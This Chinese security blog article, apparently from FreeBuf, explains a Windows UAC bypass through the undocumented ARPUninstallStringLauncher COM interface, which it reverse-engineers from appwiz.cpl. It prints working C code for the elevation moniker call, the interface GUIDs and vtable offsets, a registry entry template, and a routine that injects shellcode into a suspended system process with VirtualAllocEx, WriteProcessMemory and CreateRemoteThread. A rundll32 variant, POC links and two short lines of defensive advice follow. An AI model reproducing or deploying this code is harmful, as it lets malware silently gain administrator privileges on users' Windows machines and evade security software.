前言
最近笔者对之前利用windows卸载接口绕过UAC的研究资料进行了整理,这里指的并非Github这份代码中的模拟鼠标点击的方式,而是编码实现程序自身调用windows卸载接口从而绕过UAC的方式。
简介
细心的朋友可能会发现,通过windows的控制面板卸载程序的时候不会触发UAC框,那么其背后的原理是什么呢?主要有三点:
1.调用位于CARPUninstallStringLauncherCOM组件中IARPUninstallStringLauncher接口的LaunchUninstallStringAndWait方法来实现卸载程序。
2.获取autoelevate的IARPUninstallStringLauncher接口指针,这里实际就是将中完整性级别提升至高完整性级别,这一步在不可信的宿主程序中执行的时候会触发UAC窗口。
3.步骤2中的操作要在windows的白名单程序中执行才不会触发UAC框,哪些是白名单程序呢?位于系统目录%systemroot%下的很多exe都是白名单程序,比如说:记事本,计算器,桌面等等。
逆向分析控制面板的卸载功能
首先向控制面板的已安装程序列表中添加一个测试条目,要实现这里一点只需要在注册表键
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall下添加一个子键即可.该子键导出的reg文件模版如下:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\{18E78D31-BBCC-4e6f-A21D-0A15BBC62D49}]
"DisplayName"="利用COM接口ARPUninstallStringLauncher绕过默认等级UAC演示示例"
"UninstallString"="D:\\VSProject\\ElevateUI\\Release\\ElevateUI.exe"
"Publisher"="ExpLife"
"DisplayVersion"="1.0"
该模版中各个键名的具体含义请参见上图.其中{18E78D31-BBCC-4e6f-A21D-0A15BBC62D49}这个名称大家可以根据需要替换成任意字符串。
接下来将windbg附加到桌面进程,对创建进程的API函数CreateProcessW设置断点。
然后运行起来,接着在刚刚添加的测试条目上单击鼠标右键并选择右键菜单项<卸载/更改(U)>。
这时断了下来,查看一下调用堆栈
可以看到,控制面板中的单击鼠标右键的卸载菜单项实际上是调用的appwiz.cpl模块中IARPUninstallStringLauncher接口的LaunchUninstallStringAndWait方法。
通过IDA加载appwiz.cpl,然后查看一下交叉引用图解
接着查看一下LaunchUninstallStringAndWait这个方法的反编译代码
这里IDA对于LaunchUninstallStringAndWait这个方法的几个参数识别有误.第一个参数是this指针,可以暂时不用理会,第二,第三,第四个参数的含义我们可以通过ReadUninstallStringFromRegistry这个函数的内部实现来进行推敲.该函数的功能根据函数名称字面的意思应该是从注册表中读取卸载字符串.反编译代码如下:
该函数还是很容易还原的,笔者反推如下:
返回上一层看看效果,是不是该函数参数的含义一目了然了!
最后一个参数hWnd并没有用到,我们暂时不予理会。
逐步推敲可知LaunchUninstallStringAndWait这个方法的功能就是从注册表指定的键值中读取卸载字符串(即卸载程序的命令字符串),然后通过该卸载程序的命令字符串创建卸载进程。
那么我们应该给这各个参数传什么数值呢?
我们首先断到这个方法来看看,系统传递的值是多少?
通过堆栈中的数值我们可以知道,该函数的第二个参数和第四个参数系统传的是0。
第二个参数hKey不要想当然的传HKEY_CURRENT_USER,这个宏的值实际为0×80000001,根据ReadUninstallStringFromRegistry
的第一个参数的表达式(hKey != 0) – -x7FFFFFFF来看,当hKey的值为0时候, (hKey != 0) – -x7FFFFFFF的值才为0×80000001,即HKEY_CURRENT_USER.所以hKey这个参数应该填0。
第三个参数pUninstallRegKey实际上是
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall这个注册表
键下的子键的名称
第四个参数bIsModifyOrUninstall表示卸载或者更改状态对应的布尔值,填0表示卸载。
第五个参数hWnd该函数中并没有用到,所以直接填NULL.
光有LaunchUninstallStringAndWait这个方法还不够呀,这个方法并没有体现权限是如何提升的呀!
我们继续往上层回溯,根据调用堆栈的情况,我们查看一下上层函数的交叉引用图示
由于LaunchUninstallStringAndWait是通过虚函数的形式调用的,也就是说运行时动态调用的,所以静态分析的交叉引用凸显不出来。
下面我们要重点关注的就是CInstalledApp这个接口中的_CreateAppModifyProcess方法。
这个方法调用了非常多的外部方法,规模有点庞大。
将该图示放大可以找到一个比较有意思的方法-CoCreateInstanceAsAdminWithCorrectBitness.
这个方法其实就是用来提权,笔者将该方法反编译的代码整理如下:
如果编程功底比较弱,那么你看到这段代码也可能丈二脑袋摸不着头脑,但是你通过将其编码成C/C++代码依然可以实现你想要的功能:
如果开发功底好的话,应该会知道微软官方有如下的介绍: https://msdn.microsoft.com/zh-cn/library/windows/desktop/ms679687.aspx,其中有示例代码:
该示例代码与IDA反编译的代码基本等价.所以逆向与开发是相辅相成的.要重视实际编程的历练。
好了下面我们使用微软官方的工具OLEViewer查看一下appwiz.cpl这个组件的类型库.因为要调用COM组件中的接口,最直接的方法是需要导入类型库的。
但是笔者在该类型库中并没有找到IARPUninstallStringLauncher这个接口的描述信息。
但是笔者在全局分支All Object下找到了如下组件描述信息
那么极有可能IARPUninstallStringLauncher这个接口是供微软内部使用的.
从该描述信息中我们可以得知:
CARPUninstallStringLauncher(即ARP UninstallString Launcher)这个组件的CLSID为{FCC74B77-EC3E-4DD8-A80B-008A702075A9}.
IARPUninstallStringLauncher这个接口的IID为{F885120E-3789-4FD9-865E-DC9B4A6412D2}
与IDA中呈现出来的GUID是一致的.
好了,由于找不到appwiz.cpl的类型库,所以笔者只好退而求其次,直接获取COM组件对象的地址,然后通过访问虚函数表来获取接口中方法的指针. CARPUninstallStringLauncher接口的虚表布局如下, LaunchUninstallStringAndWait的偏移为0x0C。
编码实现绕过UAC的功能
核心提权代码
HRESULT CoCreateInstanceAsAdmin(HWND hwnd, REFCLSID rclsid, REFIID riid, __out void ** ppv)
{
BIND_OPTS3 bo;
WCHAR wszCLSID[50];
WCHAR wszMonikerName[300];
StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID)/sizeof(wszCLSID[0]));
HRESULT hr = StringCchPrintf(wszMonikerName, sizeof(wszMonikerName)/sizeof(wszMonikerName[0]), L"Elevation:Administrator!new:%s", wszCLSID);
if (FAILED(hr))
return hr;
memset(&bo, 0, sizeof(bo));
bo.cbStruct = sizeof(bo);
bo.hwnd = hwnd;
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
return CoGetObject(wszMonikerName, &bo, riid, ppv);
}
int _tmain(int argc, _TCHAR* argv[])
{
CLSID clsid;
IID iid;
LPVOID ppv = NULL;
HRESULT hr;
PFN_IARPUninstallStringLauncher_LaunchUninstallStringAndWait pfn_LaunchUninstallStringAndWait = NULL;
PFN_IARPUninstallStringLauncher_Release pfn_IARPUninstallStringLauncher_Release = NULL;
if (IIDFromString(L"{FCC74B77-EC3E-4DD8-A80B-008A702075A9}", &clsid) ||
IIDFromString(L"{F885120E-3789-4FD9-865E-DC9B4A6412D2}", &iid))
return 0;
CoInitialize(NULL);
hr = CoCreateInstanceAsAdmin(NULL, clsid, iid, &ppv);
if (SUCCEEDED(hr))
{
pfn_LaunchUninstallStringAndWait = (PFN_IARPUninstallStringLauncher_LaunchUninstallStringAndWait)(*(DWORD*)(*(DWORD*)ppv + 12));
pfn_IARPUninstallStringLauncher_Release = (PFN_IARPUninstallStringLauncher_Release)(*(DWORD*)(*(DWORD*)ppv + 8));
if (pfn_LaunchUninstallStringAndWait && pfn_IARPUninstallStringLauncher_Release)
{
pfn_LaunchUninstallStringAndWait((LPVOID*)ppv, 0, L"{18E78D31-BBCC-4e6f-A21D-0A15BBC62D49}", 0, NULL);
pfn_IARPUninstallStringLauncher_Release((LPVOID*)ppv);
}
}
CoUninitialize();
return 0;
}
调试运行,发现会弹出UAC框
为什么呢?因为执行该提权代码宿主的身份是不可信的,所以我们需要想办法让这段代码在windows的白名单程序中运行.所以很直接的会想到将这段代码注入到诸如计算器,记事本,桌面等等程序中去执行,这样就不会弹出UAC框了。
将提权代码转换为shellcode并注入到白名单程序中执行
关键代码:
BOOL BypassUacWithInject(LPTSTR lpExe)
{
HMODULE hModule = GetModuleHandle(NULL);
TCHAR cAppName[MAX_PATH] = {0};
STARTUPINFO si;
PROCESS_INFORMATION pi;
LPVOID lpMalwareBaseAddr;
LPVOID lpNewVictimBaseAddr;
HANDLE hThread;
DWORD dwExitCode;
BOOL bRet = FALSE;
lpMalwareBaseAddr = g_ByPassUac;
AddUninstallItem(lpExe);
GetSystemDirectory(cAppName, MAX_PATH);
_tcscat(cAppName, InjectTarget);
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (CreateProcess(cAppName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == 0)
{
return bRet;
}
lpNewVictimBaseAddr = VirtualAllocEx(pi.hProcess,
NULL,
SizeOfBypassUac,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (lpNewVictimBaseAddr == NULL)
{
return bRet;
}
WriteProcessMemory(pi.hProcess, lpNewVictimBaseAddr, (LPCVOID)lpMalwareBaseAddr, SizeOfBypassUac, NULL);
hThread = CreateRemoteThread(pi.hProcess, 0, 0, (LPTHREAD_START_ROUTINE)lpNewVictimBaseAddr, NULL, 0, NULL);
WaitForSingleObject(pi.hThread, INFINITE);
GetExitCodeProcess(pi.hProcess, &dwExitCode);
TerminateProcess(pi.hProcess, 0);
DeleteUninstallItem();
return bRet;
}
由于有注入行为,所以主流杀毒软件可能会拦截
那么有没有无需注入的方法呢?当然有。
利用rundll32来加载自定义dll中导出函数
rundll32调用dll的导出函数是有特殊规定的,函数必须是如下形式:
VOID CALLBACK
EntryPoint(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow);
但是笔者测试发现通过函数名称调用会报错。
笔者逆向了一下rundll32.exe的实现,变相的解决了报错的问题.
这里弹出的错误框通过样式可知是MessageBoxW弹出的,通过交叉引用得到:
上层的_DisplayErrorMessage是对MessageBoxW的一个简单封装,我们直接略过,我们重点来看看_InitCommandInfo这个函数的实现,顾名思义:初始化命令行信息.
继续转入_FindCommandFunction这个函数.
笔者动态调试跟踪发现函数名称填写正确,依然获取不到函数地址.但是之前笔者在没有安装任何杀软的系统上是可以通过名称调用的,所以笔者猜测有可能是杀毒软件的各种挂钩导致的兼容性问题所致,也可能是因为现在利用rundll32来启动的木马病毒泛滥,所以安全软件的沙箱对这个点进行了防护.这里仅仅是猜测,笔者后面如果有精力再来研究。
既然通过名称无法调用,正好上面的_FindCommandFunction这个函数表明可以通过序号调用,那我们就通过序号调用呗,笔者测试发现通过序号调用是正常的。
POC的测试效果
见百度云盘:https://pan.baidu.com/s/1eSftkp8
小结
调用ARP UninstallString Launcher组件的卸载接口,有如下特点:
①与之前的利用DLL劫持这类方法相比更加简单
②通用性更好,由于文件系统重定向的缘故,一个32程序就可以兼容x86/x64系统
③注不注入都可以
防御建议:
监视注册表中特定键值
将UAC等级开到最高,其实开到最高,也很难分辨是否存在恶意行为,因为系统的正常操作也可能出现类似的效果
文中相关POC代码已上传github,地址为:GitHub
参考资料
https://technet.microsoft.com/en-us/magazine/2007.06.uac.aspx
https://technet.microsoft.com/en-us/magazine/2009.07.uac.aspx
https://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html
http://bbs.pediy.com/showthread.php?t=206830&highlight=UAC
http://bbs.pediy.com/showthread.php?t=208717&highlight=UAC
https://www.greyhathacker.net/?p=796
https://github.com/hfiref0x/UACME
https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/
https://github.com/smb01/UacBypassUninstall
http://www.freebuf.com/sectool/114592.html
https://msdn.microsoft.com/zh-cn/library/windows/desktop/ms679687.aspx
https://support.microsoft.com/zh-cn/kb/164787
* 本文原创作者:ExpLife,本文属FreeBuf原创奖励计划,未经许可禁止转载